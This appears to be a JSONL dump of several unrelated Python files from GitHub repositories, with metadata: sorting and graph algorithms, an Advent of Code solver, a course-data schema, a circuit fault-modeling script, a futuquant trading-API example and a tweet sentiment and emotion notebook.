+{"seq_id":"70866245970","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport scipy.misc\n\nprint(tf.__version__)\n\n\n\nmnist = keras.datasets.mnist\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nimg = x_train[1]\nprint(img.shape)\nprint(type(img))#图片类型\nprint(img.dtype)#数据类型\nprint(img.shape)#图片大小\nscipy.misc.imsave('im.jpg', img)#保存图片\n\nplt.figure()\nplt.imshow(x_train[1])\nplt.colorbar()\nplt.grid(False)\nplt.show()\n\n\nimg = scipy.misc.imread('test.jpeg',mode='RGB')\n \nprint(img.shape)\nprint(type(img))#图片类型\nprint(img.dtype)#数据类型\nprint(img.shape)#图片大小\n \nplt.figure(1)\nplt.imshow(img)\nplt.colorbar()\nplt.grid(False)\nplt.show()\n\n#img_tensor = tf.image.decode_image(img)\n#img_tensor = tf.image.decode_jpeg(img_tensor, channels=3)\n#img_tensor = tf.image.resize(img_tensor, [28, 28])\n#img_tensor /= 255.0 # normalize to [0,1] range\n#\n#\n#scipy.misc.imsave('process.jpg', img_tensor)#保存图片","repo_name":"asysbang/tensorflow","sub_path":"handwriting/myhand.py","file_name":"myhand.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"15396719709","text":"\n\ndef insertionSort2(arr):\n n = len(arr) # Get the length of the array\n \n if n <= 1:\n return # If the array has 0 or 1 element, it is already sorted, so return\n \n for i in range(1, n): # Iterate over the array starting from the second element\n key = arr[i] # Store the current element as the key to be inserted in the right position\n j = i-1\n while j >= 0 and key < arr[j]: # Move elements greater than key one position ahead\n arr[j+1] = arr[j] # Shift elements to the right\n j -= 1\n arr[j+1] = key # Insert the key in the correct position\n\ndef merge_sort(list):\n\n k = 9\n\n if len(list) <= k:\n print(\"whoop\")\n print (len(list))\n insertionSort2(list)\n return list\n\n mid = len(list) // 2\n\n left_values = merge_sort(list[:mid])\n\n right_values = merge_sort(list[mid:])\n\n l = []\n\n i = 0\n\n j = 0\n\n while i < len(left_values) and j < len(right_values):\n\n if left_values[i] < right_values[j]:\n l.append(left_values[i])\n i += 1\n\n else:\n l.append(right_values[j])\n j += 1\n\n l += left_values[i:]\n l += right_values[j:]\n\n return l\n\n\nnewList = [5,3,1,2,6,4,9,7,8,10,61,55,33,45,86,32,14,57,87,99,55,30,22,66,88]\n\nprint(newList)\n\nprint(merge_sort(newList))","repo_name":"add33m/d0012e","sub_path":"lab1/mergeSort.py","file_name":"mergeSort.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"15659817922","text":"from schema import Schema, And, Or, Regex\n\nfrom validations.schemas.base_schema import BaseSchema\n\n\nclass CoursesSchema(BaseSchema):\n SCHEMA = Schema([{\n 'id': str,\n 'code': Or(And(str, BaseSchema.COURSE_CODE_LAMBDA), None), # course code should be a string and of length 8\n 'name': str,\n 'description': Or(str, None),\n 'division': str,\n 'department': str,\n 'prerequisites': Or(str, None),\n 'corequisites': Or(str, None),\n 'exclusions': Or(str, None),\n 'recommended_preparation': Or(str, None),\n 'level': Regex(r'^\\d00(/(A|B|C|D))?$'),\n 'campus': Or(*BaseSchema.VALID_CAMPUSES),\n 'term': str,\n 'arts_and_science_breadth': Or(str, None),\n 'arts_and_science_distribution': Or(str, None),\n 'utm_distribution': Or(str, None),\n 'utsc_breadth': Or(str, None),\n 'apsc_electives': Or(str, None),\n 'meeting_sections': [{\n 'code': str,\n 'instructors': Schema([str]),\n 'times': [{\n 'day': str,\n 'start': int,\n 'end': int,\n 'duration': int,\n 'location': Or(str, None)\n }],\n 'size': int,\n 'enrollment': Or(int, None),\n 'waitlist_option': bool,\n 'delivery': str\n }],\n 'last_updated': str\n }])\n","repo_name":"nikel-api/nikel-parser","sub_path":"validations/schemas/courses_schema.py","file_name":"courses_schema.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"22949760966","text":"# -*- coding: utf-8 -*-\n\"\"\"\nExamples for use the python functions: get push data\n\"\"\"\nfrom futuquant.open_context import *\n\nclass USOrderPushHandler(USTradeOrderHandlerBase):\n \"\"\"\n 美股定单\n \"\"\"\n def on_recv_rsp(self, rsp_str):\n \"\"\"数据响应回调函数\"\"\"\n ret_code, content = super(USOrderPushHandler, self).on_recv_rsp(rsp_str)\n if ret_code != RET_OK:\n print(\"USOrderPushHandler: error, msg: %s \" % content)\n return RET_ERROR, content\n print(\"USOrderPushHandler\\n\", content)\n return RET_OK, content\n\n\nclass USDealPushHandler(USTradeDealHandlerBase):\n \"\"\"\n 美股成交推送\n \"\"\"\n def on_recv_rsp(self, rsp_str):\n \"\"\"数据响应回调函数\"\"\"\n ret_code, content = super(USDealPushHandler, self).on_recv_rsp(rsp_str)\n if ret_code != RET_OK:\n print(\"USDealPushHandler: error, msg: %s \" % content)\n return RET_ERROR, content\n print(\"USDealPushHandler\\n\", content)\n return RET_OK, content\n\n\nclass HKOrderPushHandler(HKTradeOrderHandlerBase):\n \"\"\"\n 港股定单状态推送\n \"\"\"\n def on_recv_rsp(self, rsp_str):\n \"\"\"数据响应回调函数\"\"\"\n ret_code, content = super(HKOrderPushHandler, self).on_recv_rsp(rsp_str)\n if ret_code != RET_OK:\n print(\"HKOrderPushHandler: error, msg: %s \" % content)\n return RET_ERROR, content\n print(\"HKOrderPushHandler\\n\", content)\n return RET_OK, content\n\n\nclass HKDealPushHandler(HKTradeDealHandlerBase):\n \"\"\"\n 港股成交推送\n \"\"\"\n def on_recv_rsp(self, rsp_str):\n \"\"\"数据响应回调函数\"\"\"\n ret_code, content = super(HKDealPushHandler, self).on_recv_rsp(rsp_str)\n if ret_code != RET_OK:\n print(\"HKDealPushHandler: error, msg: %s \" % content)\n return RET_ERROR, content\n print(\"HKDealPushHandler\\n\", content)\n return RET_OK, content\n\nif __name__ == \"__main__\":\n api_ip = '127.0.0.1' # ''119.29.141.202'\n api_port = 11111\n unlock_pwd = '979899'\n\n '''\n # 港股模拟环境下单及推送\n trade_context = OpenHKTradeContext(host=api_ip, port=api_port)\n trade_context.unlock_trade(unlock_pwd)\n trade_context.set_handler(HKOrderPushHandler())\n trade_context.set_handler(HKDealPushHandler())\n trade_context.start()\n\n # print('\\nHK position_list_query:\\n')\n # print(trade_context.position_list_query(strcode='', stocktype='',\n # pl_ratio_min='', pl_ratio_max='', envtype=1))\n\n # print(trade_context.position_list_query(strcode='', stocktype='',\n # pl_ratio_min='', pl_ratio_max='', envtype=1))\n\n # print('\\nHK history_order_list_query:\\n')\n # print(trade_context.history_order_list_query(statusfilter='2,3', strcode='',\n # start='2017-10-01', end='2017-11-31', envtype=1))\n\n # print('\\nHK order_list_query:\\n')\n # print(trade_context.order_list_query(orderid='', statusfilter='', strcode='',\n # start='09:30:00', end='24:00:00', envtype=1))\n\n # print('\\nHK history_deal_list_query:\\n')\n # print(trade_context.history_deal_list_query(strcode='', start='2017-10-01', end='2017-11-31', envtype=1))\n\n # print('\\nHK deal_list_query:\\n')\n # print(trade_context.deal_list_query(envtype=1))\n\n print('\\nHK place_order:')\n orderid_list = [] # ['836204', '836195'] # 传空表示定阅全部订单\n trade_context.subscribe_order_deal_push(orderid_list, True, envtype=1)\n # print(trade_context.place_order(price=4.50, qty=1000, strcode='HK.03883', orderside=0, ordertype=0, envtype=1,\n # order_deal_push=False))\n print(trade_context.place_order(price=11.31, qty=1000, strcode='HK.01357', orderside=0, ordertype=0, envtype=1,\n order_deal_push=True, price_mode=PriceRegularMode.UPPER))\n '''\n\n #'''\n #美股正式环境下单及推送\n trade_context = OpenUSTradeContext(host=api_ip, port=api_port)\n print(trade_context.unlock_trade(unlock_pwd))\n trade_context.set_handler(USOrderPushHandler())\n trade_context.set_handler(USDealPushHandler())\n trade_context.start()\n\n # print('\\nUS position_list_query:\\n')\n # print(trade_context.position_list_query(strcode='', stocktype='STOCK',\n # pl_ratio_min='-20.5', pl_ratio_max='0', envtype=0))\n\n # print('\\nUS. history_order_list_query:\\n')\n # print(trade_context.history_order_list_query(statusfilter='', strcode='', start='2017-10-01', end='2017-11-31', envtype=0))\n\n # print('\\nUS. order_list_query:\\n')\n # print(trade_context.order_list_query(statusfilter='', strcode='US.MIN', start='', end='', envtype=0))\n\n # print('\\nUS. history_deal_list_query:\\n')\n # print(trade_context.history_deal_list_query(strcode='', start='2017-10-01', end='2017-11-31', envtype=0))\n # print('\\nUS. deal_list_query:\\n')\n # print(trade_context.deal_list_query(envtype=0))\n\n # trade_context.subscribe_order_deal_push('', True, 0)\n # print('\\nUS place_order:')\n print(trade_context.place_order(price=\"3.55\", qty=1, strcode='US.MIN', orderside=0, ordertype=2, envtype=0, order_deal_push=True, price_mode=PriceRegularMode.LOWER))\n # '''\n","repo_name":"dongxiao999999/futuquant","sub_path":"futuquant/examples/trade_order_push.py","file_name":"trade_order_push.py","file_ext":"py","file_size_in_byte":5378,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"66"}
+{"seq_id":"72693915730","text":"import sys, heapq\n\ndef find_set(x):\n if p[x] == x:\n return x\n else:\n return find_set(p[x])\n\ndef union(a, b):\n p_a = find_set(a)\n p_b = find_set(b)\n p[p_b] = p_a\n\nN = int(sys.stdin.readline())\narr = [list(map(float, sys.stdin.readline().split())) for _ in range(N)]\np = [_ for _ in range(N)]\ndata = []\nfor i in range(N):\n for j in range(N):\n if i != j:\n a = arr[i]\n b = arr[j]\n dist = round(((a[0]-b[0])**2+(a[1]-b[1])**2)**0.5, 2)\n heapq.heappush(data, (dist, i, j))\n\ndef kruskal(data):\n ans = 0\n while data:\n w, s, e = heapq.heappop(data)\n if find_set(s) == find_set(e):\n continue\n ans += w\n union(s, e)\n return ans\n\nprint(kruskal(data))","repo_name":"Im-sy/Algorithm","sub_path":"BOJ/bj_4386.py","file_name":"bj_4386.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4416801452","text":"# coding: utf-8\nimport unittest\n\nfrom problems.fizz_buzz import Solution\n\n\nclass TestCase(unittest.TestCase):\n def setUp(self):\n self.solution = Solution()\n\n def test(self):\n test_data = [\n {'n': 1, 'expected': ['1', ]},\n {'n': 15, 'expected': ['1', '2', 'Fizz', '4', 'Buzz', 'Fizz', '7', '8', 'Fizz', 'Buzz', '11', 'Fizz', '13', '14', 'FizzBuzz']},\n {'n': 31, 'expected': ['1', '2', 'Fizz', '4', 'Buzz', 'Fizz', '7', '8', 'Fizz', 'Buzz', '11', 'Fizz', '13', '14', 'FizzBuzz', '16', '17', 'Fizz', '19', 'Buzz', 'Fizz', '22', '23', 'Fizz', 'Buzz', '26', 'Fizz', '28', '29', 'FizzBuzz', '31']},\n {'n': 0, 'expected': []},\n {'n': -15, 'expected': []},\n ]\n for data in test_data:\n n = data['n']\n expected = data['expected']\n with self.subTest(n=n):\n self.assertEqual(list(self.solution.fizzBuzz(n)), expected)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"vinta/fuck-coding-interviews","sub_path":"problems/tests/test_fizz_buzz.py","file_name":"test_fizz_buzz.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":652,"dataset":"github-code","pt":"66"}
+{"seq_id":"26590428485","text":"#!/usr/bin/env python\n# 2016 (C) Valentin Lukyanets, SCSm-16-1\n\n\nfrom __future__ import print_function\nimport argparse\nimport re\nimport modeling\n\n\ndef read_input_data(filename):\n scheme_re = re.compile(r'^Scheme: (\\d+) lines; input (\\S+); output (\\S+); assert (\\S+)', re.IGNORECASE)\n truthtable_header_re = re.compile(r'^Truthtable \"(.+)\": (\\d+) inputs, (\\d+) outputs, (\\d+) lines', re.IGNORECASE)\n truthtable_line_re = re.compile(r'^(\\S+) (\\S+)')\n element_re = re.compile(r'^Element \"(.+)\": \"(.+)\"; in (\\S+); out (\\S+)', re.IGNORECASE)\n vectors_re = re.compile(r'^Vectors: (\\S+)', re.IGNORECASE)\n\n f = open(filename, \"r\")\n circuit = None\n vectors = []\n assertions = []\n truthtable = None\n inside_truthtable = False\n lines_left = 0\n for line in f:\n match = scheme_re.search(line)\n if match and not inside_truthtable:\n lines_count, inputs, outputs, asserts = int(match.group(1)), match.group(2), match.group(3), match.group(4)\n input_lines = [int(x) for x in inputs.split(\",\")]\n output_lines = [int(x) for x in outputs.split(\",\")]\n assert_lines = [int(x) for x in asserts.split(\",\")]\n\n circuit = modeling.Circuit(lines_count, input_lines, output_lines, assert_lines)\n continue\n\n match = element_re.search(line)\n if match and not inside_truthtable:\n element_name, truthtable_name, inputs, outputs = [match.group(i + 1) for i in range(4)]\n truthtable = circuit.truthtable_storage[truthtable_name]\n input_lines = [int(x) for x in inputs.split(\",\")]\n output_lines = [int(x) for x in outputs.split(\",\")]\n element = modeling.Element(element_name, truthtable, input_lines, output_lines, circuit)\n circuit.elements[element_name] = element\n continue\n\n match = vectors_re.search(line)\n if match and not inside_truthtable:\n vectors_str = match.group(1)\n vectors_str_list = vectors_str.split(\";\")\n vectors = [[modeling.logic_value_from_str(c) for c in s.split(\",\")[0]] for s in vectors_str_list]\n assertions = [[modeling.logic_value_from_str(c) for c in s.split(\",\")[1]] for s in vectors_str_list]\n continue\n\n match = truthtable_header_re.search(line)\n if match and not inside_truthtable:\n name = match.group(1)\n inputs, outputs, lines = [int(match.group(i + 2)) for i in range(3)]\n truthtable = modeling.Truthtable(name, inputs, outputs)\n lines_left = lines\n inside_truthtable = True\n continue\n\n match = truthtable_line_re.search(line)\n if match and inside_truthtable:\n input_terms_str, output_terms_str = match.group(1), match.group(2)\n input_terms = [modeling.logic_value_from_str(s) for s in input_terms_str]\n output_terms = [modeling.logic_value_from_str(s) for s in output_terms_str]\n truthtable += modeling.TruthtableLine(input_terms, output_terms)\n lines_left -= 1\n if lines_left == 0:\n inside_truthtable = False\n circuit.truthtable_storage[truthtable.name] = truthtable\n continue\n\n f.close()\n return circuit, vectors, assertions\n\n\ndef print_faults(f, tests, assertions_lines_count, assertions, faults, assertion_lines_avail,\n activation_matrix, func_matrix, result_faults):\n print(\"Faults table\", file=f)\n for test in range(tests):\n out1 = \"\".join([modeling.fault_modeling_value_to_str(value) for value in faults[test]])\n out2 = \"\".join([modeling.logic_value_to_str(value) for value in assertions[test]])\n out = \" \".join([out1, out2])\n print(out, file=f)\n\n print(\"Assertion lines\", file=f)\n for i in range(assertions_lines_count):\n out = \"\".join([modeling.logic_value_to_str(value) for value in assertion_lines_avail[i]])\n print(out, file=f)\n\n print(\"Activation matrix\", file=f)\n for i in range(tests):\n out = \"\".join([modeling.logic_value_to_str(value) for value in activation_matrix[i]])\n print(out, file=f)\n\n print(\"Functional matrix\", file=f)\n for i in range(tests):\n out = \"\".join([modeling.fault_modeling_value_to_str(value) for value in func_matrix[i]])\n print(out, file=f)\n\n print(\"Detected faults\", file=f)\n out = \", \".join(['{}-{}'.format(fault[0], modeling.fault_modeling_value_to_str(fault[1]))\n for fault in result_faults])\n print(out, file=f)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Modeling of circuits\")\n parser.add_argument(\"-i\", \"--input\", metavar=\"inputfile\", type=str, help=\"Input file name\")\n parser.add_argument(\"-o\", \"--output\", metavar=\"outputfile\", type=str, help=\"Output file name\")\n args = parser.parse_args()\n input_filename = args.input\n output_filename = args.output\n\n circuit, vectors, assertions = read_input_data(input_filename)\n circuit.prepare()\n\n try:\n f = open(output_filename, \"w\")\n faults, assertion_lines_avail, activation_matrix, func_matrix, result_faults =\\\n circuit.modeling_faults(vectors, assertions)\n print_faults(f, len(vectors), len(circuit.assert_lines), assertions, faults,\n assertion_lines_avail, activation_matrix, func_matrix, result_faults)\n f.close()\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n main()\nelse:\n print(\"This module shouldn't be imported!\")\n","repo_name":"vlukyanets/quantum-calculations","sub_path":"lab3/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"41512326396","text":"import time\nimport os\nfrom typing import List\n\nUSE_LOGGING = False\nUSE_DEMO = False\nPART_ONE = False\n\nclass MyFile:\n def __init__(self, size: int, name: str):\n self.Size = size\n self.Name = name\n\n def print(self):\n print()\n\nclass MyDirectory:\n def __init__(self, name: str, parent):\n self.Name = name\n self.Parent: MyDirectory = parent\n self.Children: List[MyDirectory] = []\n self.Files: List[MyFile] = []\n self.Depth = 0 if parent is None else parent.Depth + 1\n self.Size = 0\n\n def print(self):\n print(\"% s% s - % s\" % ((\"\\t\"*self.Depth),self.Name,self.Size))\n for f in self.Files: print(\"% s% s - % s\" % ((\"\\t\"*(self.Depth+1)),f.Name, f.Size))\n for c in self.Children: c.print()\n\n def calcSize(self):\n for child in self.Children: child.calcSize()\n self.Size = sum(f.Size for f in self.Files) + sum(d.Size for d in self.Children)\n\nROOT = MyDirectory(\"/\", None)\n\ndef getInput(fileName):\n file = open(fileName, 'r')\n input = [x.strip().split(\" \") for x in file.readlines()]\n\n if USE_LOGGING: print(input)\n\n return input\n\ndef readTerminal(terminal):\n currentDirectory = ROOT\n \n for line in terminal: \n if line[0] == \"$\":\n if USE_LOGGING: print(\"Command\")\n\n if line[1] == \"cd\":\n if line[2] == \"/\":\n if USE_LOGGING: print(\"\\tChange Directory to Root\")\n currentDirectory = ROOT #redundant so far, but better to be complete\n elif line[2] == \"..\":\n if USE_LOGGING: print(\"\\tChange Directory to Parent\")\n\n if currentDirectory.Parent is None: raise Exception(\"Can't cd to parent, there isn't one. Current Directory is \", currentDirectory.Name)\n else: currentDirectory = currentDirectory.Parent\n else:\n if USE_LOGGING: print(\"\\tChange Directory to \", line[2])\n childDirectory = next(filter(lambda d: d.Name == line[2], currentDirectory.Children), None)\n\n if childDirectory is None: raise Exception(\"Can't cd to child, it wasn't found. Current Directory is \", currentDirectory.Name)\n else: currentDirectory = childDirectory\n\n elif line[1] == \"ls\":\n if USE_LOGGING: print(\"\\tls\")\n #I don't think I actually need to do anything with this\n\n elif line[0] == \"dir\":\n if USE_LOGGING: print(\"Directory \", line[1])\n currentDirectory.Children.append(MyDirectory(line[1], currentDirectory))\n else: #file\n if USE_LOGGING: print(\"File % s (% s)\" % (line[1], line[0]))\n currentDirectory.Files.append(MyFile(int(line[0]), line[1]))\n\ndef getSmallDirSum(myDirectory: MyDirectory, targetSize: int):\n sum = myDirectory.Size if myDirectory.Size <= targetSize else 0\n\n for child in myDirectory.Children:\n sum += getSmallDirSum(child, targetSize)\n\n return sum\n\ndef getSmallestDeleteCandidate(myDirectory: MyDirectory, targetSize: int):\n smallestOption = myDirectory.Size if myDirectory.Size > targetSize else 0\n\n for child in myDirectory.Children:\n smallestChild = getSmallestDeleteCandidate(child, targetSize)\n if smallestChild > 0 and smallestChild < smallestOption: smallestOption = smallestChild\n\n return smallestOption\n\n\n#start of main\nsolution = 0\ntotalSize = 70000000\nunusedSpaceTarget = 30000000\n\nstartTime = time.time()\n\nfile = 'example.txt' if USE_DEMO else 'input1.txt'\n\nterminal = getInput(file)\nreadTerminal(terminal)\nROOT.calcSize()\nif USE_LOGGING: ROOT.print()\n\nfreeSpace = totalSize - ROOT.Size\n\nsolution = getSmallDirSum(ROOT, 100000) if PART_ONE else getSmallestDeleteCandidate(ROOT, unusedSpaceTarget - freeSpace)\n\nendtime = time.time()\nprint('Solution: ', solution)\nprint ('Completion time: ', endtime - startTime)","repo_name":"TheoreticalHybrid/AdventOfCode","sub_path":"2022/Day_07/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"29445731675","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[41]:\n\n\n# Importing necessary libraries\n\n# For data manipulation\nimport re\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport glob\n\n# For EDA and visualization\nimport seaborn as sns\nsns.set(rc={'figure.figsize': (20,10)})\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\nimport plotly.express as px\nimport plotly.figure_factory as ff\n\n\n# For pre-processing text\nimport nltk\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom better_profanity import profanity\nprofanity.load_censor_words()\n\n# For other output and NLP utilities\nfrom bokeh.plotting import figure\nfrom bokeh.io import output_file, show, output_notebook\nfrom collections import Counter\nimport spacy\nfrom spacy.util import compounding\nfrom spacy.util import minibatch\nfrom spacy import displacy\nimport gc\nimport os\nimport urllib\nimport csv\nfrom tqdm import tqdm\n\n# For modelling and sentiment analysis\nfrom sklearn.svm import LinearSVC\nfrom sklearn.naive_bayes import BernoulliNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nimport torch\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nfrom scipy.special import softmax\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n\n# # Data preparation\n\n# ## Dataset initialization\n# \n# #### Note: the total dataset size is 17 GB and cannot be processed without a GPU so for the sake of demonstration, we will use a subset of the data\n\n# In[2]:\n\n\n# Loading all CSV files from the data/ folder\nl = [pd.read_csv(filename, index_col=0, compression='gzip', low_memory=False) for filename in glob.glob(\"../data/input/*.gzip\")]\n\n# Combining all CSV files into a single dataframe\ndf = pd.concat(l, axis=0)\n\n\n# In[3]:\n\n\ndf.head()\n\n\n# ## Data cleaning\n\n# In[4]:\n\n\ndf.shape\n\n\n# In[5]:\n\n\n# Checking column datatypes\ndf.info()\n\n\n# In[6]:\n\n\n# Checking for empty values\ndf.isna().sum().sort_values(ascending=False)\n\n\n# In[7]:\n\n\n# Removing profanity from tweet texts\n# df['text'] = df['text'].apply(lambda x: profanity.censor(x))\n\n\n# #### Since one of the steps in our EDA process is to check tweets by location, we need to handle empty location values\n\n# In[8]:\n\n\n# Handling NaN values for location\ndf = df.dropna(subset=['location'])\n\n\n# # EDA\n\n# ### Tweets by language\n\n# In[9]:\n\n\n# Getting top 5 languages for tweets\ndf.language.value_counts()[:5]\n\n\n# In[10]:\n\n\n# Plotting barplot for visualization\nfig = sns.barplot(x=df.language.value_counts()[:5].index, y=df.language.value_counts()[:5])\nfig.set(title='Tweets by langauge', xlabel='Language', ylabel='Tweet count (order of 10)')\nfig = fig.get_figure()\n\n# Saving barplot to file\nfig.savefig('../static/tweets_by_language.png', bbox_inches='tight')\n\n\n# #### For sentiment analysis, we will only be using tweets in English\n\n# In[11]:\n\n\n# Extracting all tweets in English language\ndf_en = df[df.language == 'en'].drop('language', axis=1)\n\n\n# #### We will sort the tweets based on retweet count to judge for popularity\n\n# In[12]:\n\n\n# Sorting tweets based on retweet count\nsorted_tweets = df_en[['username', 'text', 'retweetcount', 'tweetid']].sort_values(by='retweetcount', ascending=False).reset_index()\n\n# Getting top 10 most retweeted tweets\nsorted_tweets[['username', 'text']].head(10)\n\n\n# ### Conversation topics and most used words\n\n# In[13]:\n\n\n# Building stopwords set\nstopwords_set = set(STOPWORDS)\nstopwords_set = set(stopwords.words('english'))\n\n\n# In[14]:\n\n\n# Generating word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords=stopwords_set,\n max_words=300,\n max_font_size=40,\n scale=2,\n random_state=42)\nwordcloud.generate(str(df_en['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/top_conversation_topics_wordcloud.png')\nplt.show()\n\n\n# #### Since a few tweets were retweeted too many times, it seems like a better idea to build a word cloud from only unique tweets\n\n# In[15]:\n\n\n# Getting unique tweets\nunique_tweets = df_en.drop_duplicates(subset=['text'])\n\n# Building word cloud\nwordcloud= WordCloud(background_color='white',\n stopwords=stopwords_set,\n max_words=300,\n max_font_size=40,\n scale=2,\n random_state=42\n ).generate(str(unique_tweets.sort_values(by='retweetcount').iloc[:20]['text']))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/top_unique_conversation_topics_wordcloud.png')\nplt.show()\n\n\n# ### Tweets by location\n\n# In[16]:\n\n\n# Plotting barplot for visualization\nfig = df_en.location.value_counts()[:10].plot.bar()\nfig.set(title='Tweets by location', xlabel='Location', ylabel='Location count')\nfig = fig.get_figure()\n\n# Saving barplot to file\nfig.savefig('../static/tweets_by_location.png', bbox_inches='tight')\n\n\n# ### One of the points discussed during the project proposal was to check for tweets by new accounts and check for possible propaganda\n\n# #### Let's extract tweets by newest accounts and check how the wordcloud changes\n\n# In[17]:\n\n\ntime_cols = ['extractedts', 'tweetcreatedts', 'usercreatedts']\n\n# Converting \"user account created time\" column to datetime\ndf_en['usercreatedts'] = pd.to_datetime(df_en['usercreatedts'])\n\n# Sorting by youngest user account age\nsort_by_userage= df_en.sort_values(by='usercreatedts', ascending=True)\n\n\n# In[18]:\n\n\n# Getting columns\ncolumns = df_en.columns.to_list()\n\n# Building word cloud\nwordcloud = WordCloud(background_color='white',\n stopwords=stopwords_set,\n max_words=300,\n max_font_size=40,\n scale=2,\n random_state=42\n ).generate(str(sort_by_userage.iloc[:1000, columns.index('text')]))\n\n# Displaying and saving word cloud\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.savefig('../static/newest_accounts_conversation_topics_wordcloud.png')\nplt.show()\n\n\n# # Sentiment analysis\n# \n\n# #### Note: due to computation limitations, we will be using only the first 10000 rows for demonstration purposes\n\n# In[123]:\n\n\n# Building dataframe for sentiment analysis\nsentiment_df = df_en[['text']].iloc[:10000]\n\nsentiment_df.head()\n\n\n# ### We will be using RoBERTa for sentiment analysis\n# #### Note: we will be using the CPU as our local machine does not have an NVIDIA GPU\n\n# In[124]:\n\n\ndevice = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n\n\n# In[125]:\n\n\n# Initializing tokenizer\ntokenizer = AutoTokenizer.from_pretrained('cardiffnlp/twitter-roberta-base-sentiment')\n\n# Initializing model\nmodel = AutoModelForSequenceClassification.from_pretrained('cardiffnlp/twitter-roberta-base-sentiment').to(device)\n\n# Assigning sentiment labels\nlabels = ['negative', 'neutral', 'positive']\n\n\n# In[126]:\n\n\n# Setting batch size\nBATCH_SIZE = 10\n\n# Getting sentiment scores for tweet texts\nscores_all = np.empty((0, len(labels)))\ntext_all = sentiment_df['text'].to_list()\nn = len(text_all)\nwith torch.no_grad():\n for start_idx in tqdm(range(0, n, BATCH_SIZE)):\n end_idx = min(start_idx + BATCH_SIZE, n)\n encoded_input = tokenizer(text_all[start_idx:end_idx], return_tensors='pt', padding=True, truncation=True).to(device)\n output = model(**encoded_input)\n scores = output[0].detach().cpu().numpy()\n scores = softmax(scores, axis=1)\n scores_all = np.concatenate((scores_all, scores), axis=0)\n del encoded_input, output, scores\n torch.cuda.empty_cache()\n\n# Saving scores to sentiment dataframe\nsentiment_df['negative'] = [i[0] for i in scores_all]\nsentiment_df['neutral'] = [i[1] for i in scores_all]\nsentiment_df['positive'] = [i[2] for i in scores_all]\n\n\n# In[127]:\n\n\nsentiment_df.head()\n\n\n# # Emotion detection\n\n# In[128]:\n\n\n# Initializing tokenizer\nemotion_tokenizer = AutoTokenizer.from_pretrained(\"cardiffnlp/twitter-roberta-base-emotion\")\n\n# Initializing model\nemotion_model = AutoModelForSequenceClassification.from_pretrained(\"cardiffnlp/twitter-roberta-base-emotion\").to(device)\n\n# Assigning sentiment labels\nlabels = ['anger', 'joy', 'optimism', 'sadness']\n\n\n# In[129]:\n\n\n# Setting batch size\nBATCH_SIZE = 10\n\n# Getting emotion scores for tweet texts\nscores_all = np.empty((0, len(labels)))\ntext_all = sentiment_df['text'].to_list()\nn = len(text_all)\nwith torch.no_grad():\n for start_idx in tqdm(range(0, n, BATCH_SIZE)):\n end_idx = min(start_idx + BATCH_SIZE, n)\n encoded_input = tokenizer(text_all[start_idx:end_idx], return_tensors='pt', padding=True, truncation=True).to(device)\n output = emotion_model(**encoded_input)\n scores = output[0].detach().cpu().numpy()\n scores = softmax(scores, axis=1)\n scores_all = np.concatenate((scores_all, scores), axis=0)\n del encoded_input, output, scores\n torch.cuda.empty_cache()\n \n\n# Saving scores to sentiment dataframe\nsentiment_df['anger'] = [i[0] for i in scores_all]\nsentiment_df['joy'] = [i[1] for i in scores_all]\nsentiment_df['optimism'] = [i[2] for i in scores_all]\nsentiment_df['sadness'] = [i[3] for i in scores_all]\n\n\n# In[130]:\n\n\nsentiment_df.head()\n\n\n# In[131]:\n\n\n# Saving all scores as a dataset\nsentiment_df.to_csv(\"../data/output/roberta_scores.csv\", index=False)\n\n\n# # Sentiment and emotion analysis \n\n# ## Sentiment analysis\n\n# In[132]:\n\n\n# Reading previously generated RoBERTa scores\ntweet_df = pd.read_csv(\"../data/output/roberta_scores.csv\", lineterminator='\\n')\n\ntweet_df.head()\n\n\n# In[133]:\n\n\n# Adding a sentiment column to save overall sentiment\ntweet_df.insert(4, \"sentiment\", '')\n\ntweet_df.head(0)\n\n\n# 